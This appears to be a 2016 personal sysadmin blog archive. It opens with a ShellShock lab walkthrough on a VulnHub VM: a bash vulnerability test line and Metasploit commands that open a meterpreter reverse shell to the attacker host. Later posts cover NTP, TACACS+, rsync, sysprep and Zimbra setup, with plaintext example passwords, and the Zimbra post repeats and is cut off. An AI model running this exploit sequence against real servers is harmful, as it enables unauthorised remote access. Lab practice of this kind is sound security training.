Monday, October 17, 2016

ShellShock

Kali IP: 123.123.123.51
Victim IP:  123.123.123.52

Download The ShellShock VM from here:
https://download.vulnhub.com/pentesterlab/cve-2014-6271.iso

Install the VM from the download ISO,
Login
check shellsock by command:




check if the server is vulnerable with ShellShock by:

On the Victim PC
bash --version
env x='() { :;}; echo vulnerable' bash -c 'echo just a test shellshock'

On Kali
Open a Broswer:

http://123.123.123.52/cgi-bin/status

Login as root , Open a Terminal
service postgresql start

msfconsole

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set LHOST 123.123.123.51
set RHOST 123.123.123.52
set TARGETURI /cgi-bin/status
set payload linux/x86/meterpreter/reverse_tcp

exploit
Get in Success...!

Wednesday, October 12, 2016

Install NTP Server And Client On CentOS 7

NTP Server01 IP: 123.123.123.150
NTP Client IP: 123.123.123.151

1. Install NTP Server on CentOS 7
yum -y install ntp

vi /etc/ntp.conf
server 0.kh.pool.ntp.org
server 0.asia.pool.ntp.org
server 2.asia.pool.ntp.org  
logfile /var/log/ntp.log

firewall-cmd --add-service=ntp --permanent
firewall-cmd --reload

After you have opened Firewall port 123,
Start NTP server and make sure you enable it system-wide.
Use the following commands to manage the service.
systemctl restart ntpd
systemctl enable ntpd
systemctl status ntpd

After NTP daemon has been started,
wait a few minutes for the server to synchronize time with its pool list servers,
then run the following commands to verify NTP peers synchronization status and your system time.
ntpq -p
date -R

ntpdate -q  0.kh.pool.ntp.org  0.asia.pool.ntp.org

2. Configure NTP Client on CentOS 7
vim /etc/hosts
123.123.123.150 ntpsvr01        ntpsvr01.vnkk.net

yum -y install ntp

vim /etc/ntp.conf
server ntpsvr01.vnkk.net
server ntpsvr02.vnkk.net
logfile /var/log/ntp.log

systemctl restart ntpd
systemctl enable ntpd
systemctl status ntpd

ntpdate –u ntpsvr01.vnkk.net
ntpdc -c sysinfo

Tuesday, October 11, 2016

Tacacs With CISCO Device Authentication

1. Tacacs With CISCO Device Authentication
1.1. Static IP
1.2 Install Tacac On Ubuntu Server 14.04
1.3 Generate a password for Enable
1.4 Configire Tacacs
1.5 Create users in Linux System And Set Password For Users

2. Configure On Router (c3600)
2.1 Set IP Address And Add Tacacs Server
2.2 Test Login

Tacac Server IP: 123.123.123.55
Router IP: 123.123.123.56

123.123.123.55                                                        123.123.123.56
tacacs-svr (eth0)---------------------------------------------------(interface fa0/0) Router1


1. Tacacs With CISCO Device Authentication
1.1. Static IP

vi /etc/network/interfaces
auto eth0
iface eth0 inet static
address 123.123.123.55
netmask 255.255.255.0
gateway 123.123.123.2
dns-nameservers 123.123.123.2
dns-nameservers 8.8.8.8

vi /etc/hostname
tacacs-svr

vi /etc/hosts
127.0.1.1       tacacs-svr
123.123.123.55  tacacs-svr

vi /etc/resolv.conf
nameserver 123.123.123.2
search localdomain

1.2 Install Tacac On Ubuntu Server 14.04
Installations
apt-get install tacacs+

1.3 Generate a password for Enable

root@tacacs-svr:~# tac_pwd
Password to be encrypted: vannak123
ir0SF/mM8ddFI
root@tacacs-svr:~#

1.4 Configire Tacacs
cp /etc/tacacs+/tac_plus.conf /etc/tacacs+/tac_plus.conf.original
touch /var/log/tac_plus.acct

vim /etc/tacacs+/tac_plus.conf
With content:
#################### CONFIG #######################
key = tacacs123
accounting syslog;
accounting file = /var/log/tac_plus.acct
###################### ACL ########################
acl = network_admin {
        # allow access from all sources
        permit = .*
}
acl = support-team {
        # allow access to 123.123.123.56 only
        permit = 123\.123\.123\.56$
        }
#################### GROUP ########################
group = network_admin {
        default service = permit
        acl = network_admin
        service = exec {
        priv-lvl = 15
                }
        }
group = support-team {
        default service = deny
        acl = router-hq
        service = exec {
        priv-lvl = 0
        }
        cmd = enable {
                permit .*
        }
        cmd = show {
                permit .*
        }
        cmd = exit {
                permit .*
        }
}
#################### USER ########################
user = tacacadmin {
        login = file /etc/passwd
        member = network_admin
}
user = tacacuser1 {
        login = file /etc/passwd
        member = support-team
}
#################### ENABLE ########################
user = $enab15$ {
        login = des ir0SF/mM8ddFI
}

1.5 Create users in Linux System And Set Password For Users
useradd -m tacacadmin
passwd tacacadmin

useradd -m tacacuser1
passwd tacacuser1

2. Configure On Router (c3600)
2.1 Set IP Address And Add Tacacs Server 
Router>en
Router#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#hostname R1
R1(config)#interface fastEthernet 0/0
R1(config-if)#ip address 123.123.123.56 255.255.255.0
R1(config-if)#no shutdown
R1(config-if)#end
R1#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#aaa new-model
R1(config)#aaa authentication login default group tacacs+ enable
R1(config)#aaa authentication enable default group tacacs+ enable
R1(config)#aaa authentication commands 15 default group tacacs+ if-authenticated
R1(config)#tacacs-server host 123.123.123.55
R1(config)#tacacs-server key tacacs123
R1(config)#end
R1#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#enable secret vannakenable
R1(config)#end
R1#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#line console 0
R1(config-line)#password vannak0
R1(config-line)#end
R1#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#line vty 0 15
R1(config-line)#password vannak015
R1(config-line)#end
R1#write
Building configuration...
[OK]
R1#


2.2 Test Login

Login with tacacadmin

Login with tacacuser1


Wednesday, August 17, 2016

RSYNC with Username And Password


Destination:

vim /etc/rsyncd.conf

With content:
[logdir]
path=/home/vnk002/logdir/
comment = rync log
uid = root
gid = root
read only = no
list = yes
auth users = vnk002
secrets file = /etc/rsyncd.secrets
max connections = 10
hosts allow = 123.123.123.101

vim /etc/rsyncd.secrets
vnk002:PaSSWD
chmod 600 /etc/rsyncd.secrets

Start RSYNC as Daemon
rsync --daemon

Sources:
Create a file name and store only the password
cat /home/vnk001/.rsync
PaSSWD

chmod 600 /home/vnk001/.rsync
chown vnk001:vnk001 /etc/.rsync

rsync -avz --password-file=/home/vnk001/.rsync /home/vnk001/logdata/ vnk002@123.123.123.203::logdir

Monday, June 27, 2016

Change SID in Windows Server 2012 R2

Most of the time, When using the virtualization and clone the VM the error related to the SID always met.
As below ERROR, when we joint the domain:




To Change SID start the following Step:

  1. Open RUN and type sysprep

  1. In sysprep folder, run the sysprep.ex

  1. on the System Preparation Tool 3.14 box, make sure you tick on the Generalize box.. and then click OK..

  1. SYSPREP will run the necessary action and your Windows OS will auto restart.

  1. Next, after Windows restarted, continue with Settings configuration.





  1. Last step, dont forget to set your IP Address and you can now change the Computer name and join to domain successfully.

Done, 

Wednesday, June 22, 2016

Zimbra On CentOS 7

Server OS: CentOS 7 - 64bits

Prerequisites
Configure /etc/hosts and hostname
vim /etc/hosts
Add this line:
xxx.xxx.xxx.xxx   zimbrasvr.vannakk.net      zimbrasvr

Note: xxx.xxx.xxx.xxx is your server IP

Allow iptables to by-pass all zimbra ports.
vim /etc/sysconfig/selinux
SELINUX=enforcing
Change to:
SELINUX=disabled

Stop any MTA services installed in the server
systemctl stop postfix
systemctl disable postfix
systemctl stop sendmail
systemctl disable sendmail

Update the OS
yum update -y

Install the required packages and libraries by issuing the following command :
yum install perl perl-core ntpl nmap sudo libidn gmp libaio libstdc++ unzip sysstat sqlite -y

Download Zimbra Open Source Edition 8.6.0
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.RHEL7_64.20141215151110.tgz

Extract the downloaded tar file :
tar xzvf zcs-8.6.0_GA_1153.RHEL7_64.20141215151110.tgz

Go to extracted ZCS Open Source Edition :
cd zcs-8.6.0_GA_1153.RHEL7_64.20141215151110

Start the installation with the following command :
Now, we are going to install the ZCS package using the script
./install.sh --platform-override
You will the next screen when starting the script and enable your features need.

[root@zimbrasvr zcs-8.6.0_GA_1153.RHEL7_64.20141215151110]# ./install.sh --platform-override

Operations logged to /tmp/install.log.31794
Checking for existing installation...
    zimbra-ldap...NOT FOUND
    zimbra-logger...NOT FOUND
    zimbra-mta...NOT FOUND
    zimbra-dnscache...NOT FOUND
    zimbra-snmp...NOT FOUND
    zimbra-store...NOT FOUND
    zimbra-apache...NOT FOUND
    zimbra-spell...NOT FOUND
    zimbra-convertd...NOT FOUND
    zimbra-memcached...NOT FOUND
    zimbra-proxy...NOT FOUND
    zimbra-archiving...NOT FOUND
    zimbra-core...NOT FOUND


PLEASE READ THIS AGREEMENT CAREFULLY BEFORE USING THE SOFTWARE.
ZIMBRA, INC. ("ZIMBRA") WILL ONLY LICENSE THIS SOFTWARE TO YOU IF YOU
FIRST ACCEPT THE TERMS OF THIS AGREEMENT. BY DOWNLOADING OR INSTALLING
THE SOFTWARE, OR USING THE PRODUCT, YOU ARE CONSENTING TO BE BOUND BY
THIS AGREEMENT. IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS
AGREEMENT, THEN DO NOT DOWNLOAD, INSTALL OR USE THE PRODUCT.

License Terms for the Zimbra Collaboration Suite:
  http://www.zimbra.com/license/zimbra-public-eula-2-5.html



Do you agree with the terms of the software license agreement? [N] Y



Checking for prerequisites...
     FOUND: NPTL
     FOUND: nmap-ncat-6.40-7
     FOUND: sudo-1.8.6p7-17
     FOUND: libidn-1.28-4
     FOUND: gmp-6.0.0-12
     FOUND: libaio-0.3.109-13
     FOUND: libstdc++-4.8.5-4
     FOUND: unzip-6.0-15
     FOUND: perl-core-5.16.3-286

Checking for suggested prerequisites...
     FOUND: perl-5.16.3
     FOUND: sysstat
     FOUND: sqlite
Prerequisite check complete.

Checking for installable packages

Found zimbra-core
Found zimbra-ldap
Found zimbra-logger
Found zimbra-mta
Found zimbra-dnscache
Found zimbra-snmp
Found zimbra-store
Found zimbra-apache
Found zimbra-spell
Found zimbra-memcached
Found zimbra-proxy


Select the packages to install

Install zimbra-ldap [Y]

Install zimbra-logger [Y]

Install zimbra-mta [Y]

Install zimbra-dnscache [Y] N

Install zimbra-snmp [Y]

Install zimbra-store [Y]

Install zimbra-apache [Y]

Install zimbra-spell [Y]

Install zimbra-memcached [Y]

Install zimbra-proxy [Y]
Checking required space for zimbra-core
Checking space for zimbra-store
Checking required packages for zimbra-store
zimbra-store package check complete.

Installing:
    zimbra-core
    zimbra-ldap
    zimbra-logger
    zimbra-mta
    zimbra-snmp
    zimbra-store
    zimbra-apache
    zimbra-spell
    zimbra-memcached
    zimbra-proxy

The system will be modified.  Continue? [N] Y

Removing /opt/zimbra
Removing zimbra crontab entry...done.
Cleaning up zimbra init scripts...done.
Cleaning up /etc/ld.so.conf...done.
Cleaning up /etc/security/limits.conf...done.

Finished removing Zimbra Collaboration Server.

Installing packages

    zimbra-core......zimbra-core-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-ldap......zimbra-ldap-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-logger......zimbra-logger-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-mta......zimbra-mta-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-snmp......zimbra-snmp-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-store......zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-apache......zimbra-apache-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-spell......zimbra-spell-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-memcached......zimbra-memcached-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-proxy......zimbra-proxy-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
Operations logged to /tmp/zmsetup06222016-132346.log
Installing LDAP configuration database...done.
Setting defaults...sh: /sbin/ifconfig: No such file or directory
No results returned for A lookup of zimbrasvr.vannakk.net
Checked nameservers:
        8.8.8.8
No results returned for AAAA lookup of zimbrasvr.vannakk.net
Checked nameservers:
        8.8.8.8


DNS ERROR resolving zimbrasvr.vannakk.net
It is suggested that the hostname be resolvable via DNS
Change hostname [Yes] No


DNS ERROR resolving MX for zimbrasvr.vannakk.net
It is suggested that the domain name have an MX record configured in DNS
Change domain name? [Yes] No
done.
Checking for port conflicts
sh: netstat: command not found

Main menu

   1) Common Configuration:
   2) zimbra-ldap:                             Enabled
   3) zimbra-logger:                           Enabled
   4) zimbra-mta:                              Enabled
   5) zimbra-snmp:                             Enabled
   6) zimbra-store:                            Enabled
        +Create Admin User:                    yes
        +Admin user to create:                 admin@zimbrasvr.vannakk.net
******* +Admin Password                        UNSET
        +Anti-virus quarantine user:           virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
        +Enable automated spam training:       yes
        +Spam training user:                   spam.5pktrzhj@zimbrasvr.vannakk.net
        +Non-spam(Ham) training user:          ham.3etwk40yl@zimbrasvr.vannakk.net
        +SMTP host:                            zimbrasvr.vannakk.net
        +Web server HTTP port:                 8080
        +Web server HTTPS port:                8443
        +Web server mode:                      https
        +IMAP server port:                     7143
        +IMAP server SSL port:                 7993
        +POP server port:                      7110
        +POP server SSL port:                  7995
        +Use spell check server:               yes
        +Spell server URL:                     http://zimbrasvr.vannakk.net:7780/aspell.php
        +Enable version update checks:         TRUE
        +Enable version update notifications:  TRUE
        +Version update notification email:    admin@zimbrasvr.vannakk.net
        +Version update source email:          admin@zimbrasvr.vannakk.net
        +Install mailstore (service webapp):   yes
        +Install UI (zimbra,zimbraAdmin webapps): yes

   7) zimbra-spell:                            Enabled
   8) zimbra-proxy:                            Enabled
   9) Default Class of Service Configuration:
   s) Save config to file
   x) Expand menu
   q) Quit

Address unconfigured (**) items  (? - help) 6


Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
** 4) Admin Password                           UNSET
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       admin@zimbrasvr.vannakk.net
  22) Version update source email:             admin@zimbrasvr.vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] 4

Password for admin@zimbrasvr.vannakk.net (min 6 characters): [Era7YD_cYc] Z1mBR4AdminPass

Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
   4) Admin Password                           set
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       admin@zimbrasvr.vannakk.net
  22) Version update source email:             admin@zimbrasvr.vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] 21

Version update destination address: [admin@zimbrasvr.vannakk.net] vannak.ken@corp.vannakk.net

Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
   4) Admin Password                           set
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       vannak.ken@corp.vannakk.net
  22) Version update source email:             admin@zimbrasvr.vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] 22

Version update source address: [admin@zimbrasvr.vannakk.net] vannak.ken@corp.vannakk.net

Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
   4) Admin Password                           set
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
  14) IMAP server SSL port:                    7993
  15) POP server port:                         7110
  16) POP server SSL port:                     7995
  17) Use spell check server:                  yes
  18) Spell server URL:                        http://zimbrasvr.vannakk.net:7780/aspell.php
  19) Enable version update checks:            TRUE
  20) Enable version update notifications:     TRUE
  21) Version update notification email:       vannak.ken@vannakk.net
  22) Version update source email:             vannak.ken@vannakk.net
  23) Install mailstore (service webapp):      yes
  24) Install UI (zimbra,zimbraAdmin webapps): yes

Select, or 'r' for previous menu [r] r

Main menu

   1) Common Configuration:
   2) zimbra-ldap:                             Enabled
   3) zimbra-logger:                           Enabled
   4) zimbra-mta:                              Enabled
   5) zimbra-snmp:                             Enabled
   6) zimbra-store:                            Enabled
   7) zimbra-spell:                            Enabled
   8) zimbra-proxy:                            Enabled
   9) Default Class of Service Configuration:
   s) Save config to file
   x) Expand menu
   q) Quit

*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes]
Save config in file: [/opt/zimbra/config.8591]
Saving config in /opt/zimbra/config.8591...done.
The system will be modified - continue? [No] Yes
Operations logged to /tmp/zmsetup06222016-132346.log
Setting local config values...done.
Initializing core config...Setting up CA...done.
Deploying CA to /opt/zimbra/conf/ca ...done.
Creating SSL zimbra-store certificate...done.
Creating new zimbra-ldap SSL certificate...done.
Creating new zimbra-mta SSL certificate...done.
Creating new zimbra-proxy SSL certificate...done.
Installing mailboxd SSL certificates...done.
Installing MTA SSL certificates...done.
Installing LDAP SSL certificate...done.
Installing Proxy SSL certificate...done.
Initializing ldap...done.
Setting replication password...done.
Setting Postfix password...done.
Setting amavis password...done.
Setting nginx password...done.
Setting BES searcher  password...done.
Creating server entry for zimbrasvr.vannakk.net...done.
Setting Zimbra IP Mode...done.
Saving CA in ldap ...done.
Saving SSL Certificate in ldap ...done.
Setting spell check URL...done.
Setting service ports on zimbrasvr.vannakk.net...done.
Setting zimbraFeatureTasksEnabled=TRUE...done.
Setting zimbraFeatureBriefcasesEnabled=TRUE...done.
Setting TimeZone Preference...done.
Initializing mta config...done.
Setting services on zimbrasvr.vannakk.net...done.
Adding zimbrasvr.vannakk.net to zimbraMailHostPool in default COS...done.
Creating domain zimbrasvr.vannakk.net...done.
Setting default domain name...done.
Creating domain zimbrasvr.vannakk.net...already exists.
Creating admin account admin@zimbrasvr.vannakk.net...done.
Creating root alias...done.
Creating postmaster alias...done.
Creating user spam.5pktrzhj@zimbrasvr.vannakk.net...done.
Creating user ham.3etwk40yl@zimbrasvr.vannakk.net...done.
Creating user virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net...done.
Setting spam training and Anti-virus quarantine accounts...done.
Initializing store sql database...done.
Setting zimbraSmtpHostname for zimbrasvr.vannakk.net...done.
Configuring SNMP...done.
Setting up syslog.conf...done.
Starting servers...done.
Installing common zimlets...
        com_zimbra_adminversioncheck...done.
        com_zimbra_attachcontacts...done.
        com_zimbra_attachmail...done.
        com_zimbra_bulkprovision...done.
        com_zimbra_cert_manager...done.
        com_zimbra_clientuploader...done.
        com_zimbra_date...done.
        com_zimbra_email...done.
        com_zimbra_mailarchive...done.
        com_zimbra_phone...done.
        com_zimbra_proxy_config...done.
        com_zimbra_srchhighlighter...done.
        com_zimbra_tooltip...done.
        com_zimbra_url...done.
        com_zimbra_viewmail...done.
        com_zimbra_webex...done.
        com_zimbra_ymemoticons...done.
Finished installing common zimlets.
Restarting mailboxd...done.
Creating galsync account for default domain...done.

You have the option of notifying Zimbra of your installation.
This helps us to track the uptake of the Zimbra Collaboration Server.
The only information that will be transmitted is:
        The VERSION of zcs installed (8.6.0_GA_1153_RHEL7_64)
        The ADMIN EMAIL ADDRESS created (admin@zimbrasvr.vannakk.net)

Notify Zimbra of your installation? [Yes] No
Notification skipped
Setting up zimbra crontab...done.


Moving /tmp/zmsetup06222016-132346.log to /opt/zimbra/log


Configuration complete - press return to exit


Start zimbra services :
su - zimbra
zmcontrol start
Access admin panel via browser :

https://zimbrasvr.vannakk.net:7071
or directly by IP:

URL: https://SERVER-IP:7071
UserName: admin
Password:  Z1mBR4AdminPass
Admin page:

All Done,

Zimbra On CentOS 7

Server OS: CentOS 7 - 64bits

Prerequisites
Configure /etc/hosts and hostname
vim /etc/hosts
Add this line:
xxx.xxx.xxx.xxx   zimbrasvr.vannakk.net      zimbrasvr

Note: xxx.xxx.xxx.xxx is your server IP

Allow iptables to by-pass all zimbra ports.
vim /etc/sysconfig/selinux
SELINUX=enforcing
Change to:
SELINUX=disabled

Stop any MTA services installed in the server
systemctl stop postfix
systemctl disable postfix
systemctl stop sendmail
systemctl disable sendmail

Update the OS
yum update -y

Install the required packages and libraries by issuing the following command :
yum install perl perl-core ntpl nmap sudo libidn gmp libaio libstdc++ unzip sysstat sqlite -y

Download Zimbra Open Source Edition 8.6.0
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.RHEL7_64.20141215151110.tgz

Extract the downloaded tar file :
tar xzvf zcs-8.6.0_GA_1153.RHEL7_64.20141215151110.tgz

Go to extracted ZCS Open Source Edition :
cd zcs-8.6.0_GA_1153.RHEL7_64.20141215151110

Start the installation with the following command :
Now, we are going to install the ZCS package using the script
./install.sh --platform-override
You will the next screen when starting the script and enable your features need.

[root@zimbrasvr zcs-8.6.0_GA_1153.RHEL7_64.20141215151110]# ./install.sh --platform-override

Operations logged to /tmp/install.log.31794
Checking for existing installation...
    zimbra-ldap...NOT FOUND
    zimbra-logger...NOT FOUND
    zimbra-mta...NOT FOUND
    zimbra-dnscache...NOT FOUND
    zimbra-snmp...NOT FOUND
    zimbra-store...NOT FOUND
    zimbra-apache...NOT FOUND
    zimbra-spell...NOT FOUND
    zimbra-convertd...NOT FOUND
    zimbra-memcached...NOT FOUND
    zimbra-proxy...NOT FOUND
    zimbra-archiving...NOT FOUND
    zimbra-core...NOT FOUND


PLEASE READ THIS AGREEMENT CAREFULLY BEFORE USING THE SOFTWARE.
ZIMBRA, INC. ("ZIMBRA") WILL ONLY LICENSE THIS SOFTWARE TO YOU IF YOU
FIRST ACCEPT THE TERMS OF THIS AGREEMENT. BY DOWNLOADING OR INSTALLING
THE SOFTWARE, OR USING THE PRODUCT, YOU ARE CONSENTING TO BE BOUND BY
THIS AGREEMENT. IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS
AGREEMENT, THEN DO NOT DOWNLOAD, INSTALL OR USE THE PRODUCT.

License Terms for the Zimbra Collaboration Suite:
  http://www.zimbra.com/license/zimbra-public-eula-2-5.html



Do you agree with the terms of the software license agreement? [N] Y



Checking for prerequisites...
     FOUND: NPTL
     FOUND: nmap-ncat-6.40-7
     FOUND: sudo-1.8.6p7-17
     FOUND: libidn-1.28-4
     FOUND: gmp-6.0.0-12
     FOUND: libaio-0.3.109-13
     FOUND: libstdc++-4.8.5-4
     FOUND: unzip-6.0-15
     FOUND: perl-core-5.16.3-286

Checking for suggested prerequisites...
     FOUND: perl-5.16.3
     FOUND: sysstat
     FOUND: sqlite
Prerequisite check complete.

Checking for installable packages

Found zimbra-core
Found zimbra-ldap
Found zimbra-logger
Found zimbra-mta
Found zimbra-dnscache
Found zimbra-snmp
Found zimbra-store
Found zimbra-apache
Found zimbra-spell
Found zimbra-memcached
Found zimbra-proxy


Select the packages to install

Install zimbra-ldap [Y]

Install zimbra-logger [Y]

Install zimbra-mta [Y]

Install zimbra-dnscache [Y] N

Install zimbra-snmp [Y]

Install zimbra-store [Y]

Install zimbra-apache [Y]

Install zimbra-spell [Y]

Install zimbra-memcached [Y]

Install zimbra-proxy [Y]
Checking required space for zimbra-core
Checking space for zimbra-store
Checking required packages for zimbra-store
zimbra-store package check complete.

Installing:
    zimbra-core
    zimbra-ldap
    zimbra-logger
    zimbra-mta
    zimbra-snmp
    zimbra-store
    zimbra-apache
    zimbra-spell
    zimbra-memcached
    zimbra-proxy

The system will be modified.  Continue? [N] Y

Removing /opt/zimbra
Removing zimbra crontab entry...done.
Cleaning up zimbra init scripts...done.
Cleaning up /etc/ld.so.conf...done.
Cleaning up /etc/security/limits.conf...done.

Finished removing Zimbra Collaboration Server.

Installing packages

    zimbra-core......zimbra-core-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-ldap......zimbra-ldap-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-logger......zimbra-logger-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-mta......zimbra-mta-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-snmp......zimbra-snmp-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-store......zimbra-store-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-apache......zimbra-apache-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-spell......zimbra-spell-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-memcached......zimbra-memcached-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
    zimbra-proxy......zimbra-proxy-8.6.0_GA_1153.RHEL7_64-20141215151110.x86_64.rpm...done
Operations logged to /tmp/zmsetup06222016-132346.log
Installing LDAP configuration database...done.
Setting defaults...sh: /sbin/ifconfig: No such file or directory
No results returned for A lookup of zimbrasvr.vannakk.net
Checked nameservers:
        8.8.8.8
No results returned for AAAA lookup of zimbrasvr.vannakk.net
Checked nameservers:
        8.8.8.8


DNS ERROR resolving zimbrasvr.vannakk.net
It is suggested that the hostname be resolvable via DNS
Change hostname [Yes] No


DNS ERROR resolving MX for zimbrasvr.vannakk.net
It is suggested that the domain name have an MX record configured in DNS
Change domain name? [Yes] No
done.
Checking for port conflicts
sh: netstat: command not found

Main menu

   1) Common Configuration:
   2) zimbra-ldap:                             Enabled
   3) zimbra-logger:                           Enabled
   4) zimbra-mta:                              Enabled
   5) zimbra-snmp:                             Enabled
   6) zimbra-store:                            Enabled
        +Create Admin User:                    yes
        +Admin user to create:                 admin@zimbrasvr.vannakk.net
******* +Admin Password                        UNSET
        +Anti-virus quarantine user:           virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
        +Enable automated spam training:       yes
        +Spam training user:                   spam.5pktrzhj@zimbrasvr.vannakk.net
        +Non-spam(Ham) training user:          ham.3etwk40yl@zimbrasvr.vannakk.net
        +SMTP host:                            zimbrasvr.vannakk.net
        +Web server HTTP port:                 8080
        +Web server HTTPS port:                8443
        +Web server mode:                      https
        +IMAP server port:                     7143
        +IMAP server SSL port:                 7993
        +POP server port:                      7110
        +POP server SSL port:                  7995
        +Use spell check server:               yes
        +Spell server URL:                     http://zimbrasvr.vannakk.net:7780/aspell.php
        +Enable version update checks:         TRUE
        +Enable version update notifications:  TRUE
        +Version update notification email:    admin@zimbrasvr.vannakk.net
        +Version update source email:          admin@zimbrasvr.vannakk.net
        +Install mailstore (service webapp):   yes
        +Install UI (zimbra,zimbraAdmin webapps): yes

   7) zimbra-spell:                            Enabled
   8) zimbra-proxy:                            Enabled
   9) Default Class of Service Configuration:
   s) Save config to file
   x) Expand menu
   q) Quit

Address unconfigured (**) items  (? - help) 6


Store configuration

   1) Status:                                  Enabled
   2) Create Admin User:                       yes
   3) Admin user to create:                    admin@zimbrasvr.vannakk.net
** 4) Admin Password                           UNSET
   5) Anti-virus quarantine user:              virus-quarantine.oadx6jtep@zimbrasvr.vannakk.net
   6) Enable automated spam training:          yes
   7) Spam training user:                      spam.5pktrzhj@zimbrasvr.vannakk.net
   8) Non-spam(Ham) training user:             ham.3etwk40yl@zimbrasvr.vannakk.net
   9) SMTP host:                               zimbrasvr.vannakk.net
  10) Web server HTTP port:                    8080
  11) Web server HTTPS port:                   8443
  12) Web server mode:                         https
  13) IMAP server port:                        7143
